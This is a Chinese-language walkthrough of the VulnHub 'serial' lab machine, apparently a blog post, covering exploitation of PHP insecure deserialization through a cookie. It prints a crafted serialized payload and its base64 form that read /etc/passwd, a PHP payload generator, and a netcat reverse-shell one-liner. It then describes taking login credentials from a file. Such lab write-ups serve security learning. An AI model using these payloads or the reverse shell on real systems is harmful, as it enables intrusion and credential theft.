反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件 分析一下

index.php

<?php
include("user.class.php");

if(!isset(_COOKIE\['user'\])) { setcookie("user", base64_encode(serialize(new User('sk4')))); } else { unserialize(base64_decode(_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php

class Log {

private $type_log;

function __costruct($hnd) {

this-\>type_log = $hnd;

}

public function handler($val) {

include($this->type_log);

echo "LOG: " . $val;

}

}

?>

user.class.php

<?php

include("log.class.php");

class Welcome {

public function handler($val) {

echo "Hello " . $val;

}

}

class User {

private $name;

private $wel;

function __construct($name) {

this-\>name = name;

$this->wel = new Welcome();

}

function __destruct() {

//echo "bye\n";

this-\>wel-\>handler(this->name);

}

}

?>

提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

php 复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关推荐
耕耘虫43 分钟前
解决 .Net 6.0 项目发布到IIS报错:HTTP Error 500.30
网络·网络协议·http·iis·net·静态文件·.net 6.0
怀旧,2 小时前
【数据结构】4.单链表实现通讯录
android·服务器·数据结构
鸡鸭扣2 小时前
系统设计面试总结:高性能相关:CDN(内容分发网络)、什么是静态资源、负载均衡(Nginx)、canal、主从复制
网络·面试·负载均衡
christine-rr2 小时前
【25软考网工笔记】第二章 数据通信基础(2) 信道延迟计算
网络·笔记·网络工程师·软考
科技小E2 小时前
5G时代,视频分析设备平台EasyCVR实现通信基站远程安全便捷管控
大数据·网络·人工智能·音视频·安防监控
Willliam_william2 小时前
QEMU学习之路(8)— ARM32通过u-boot 启动Linux
linux·学习·elasticsearch
赤橙红的黄2 小时前
Spring Boot中接入DeepSeek的流式输出
java·服务器·javascript
前端切图仔0013 小时前
WebSocket 技术详解
前端·网络·websocket·网络协议
黄汉3 小时前
win7/win10/macos如何切换DNS,提升网络稳定性
网络
DPLSLAB64 小时前
从 SolarWinds 事件看 CCRC 认证的供应链安全价值
服务器·网络·安全